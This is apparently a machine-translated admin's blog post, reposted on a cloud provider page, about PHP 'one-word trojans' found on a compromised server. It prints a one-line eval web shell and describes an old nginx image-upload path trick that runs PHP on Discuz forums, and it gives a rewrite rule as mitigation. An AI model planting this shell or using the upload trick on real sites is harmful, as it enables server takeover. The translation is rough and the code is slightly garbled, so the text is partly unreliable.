About PHP a word trojan

Source: Internet
Author: User
Tags nginx server

The server was found to be planted a lot of Trojans, but also let people wantonly use ... NND

<?php @eval ($_post[' C ');? >  

the use of the method is also very simple, the local commit file point to the commit file, the inside of the PHP code will be executed





This is the only record, PHP must be a good filter system. Be sure to handle the uploaded stuff.

nginx Upload Vulnerability and discuz vulnerability handling

Due to the early version of Nginx, at least I am in the 0.9.X version of the bug still exists, resulting in processed pictures can execute PHP code
Simply put, the PHP code is written to change the extension to a picture, such as the Xx.jpg file after the Discuz and other open-source forum upload function can be uploaded by http://xxx.com/bbs/data/xxxxxxxx/xx.jpg/1.php way to execute Xx.php inside the Code

For Discuz Forum use Nginx server can use rewrite way to prevent code execution

nginx.conf Code
    1. Rewrite ^/bbs/data/.*\. (jsp|php) $ http://www.xxx.com/break;

other issues, such as source and other folders, are also problematic, and a simple way to prevent PHP from running


About PHP a word trojan

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.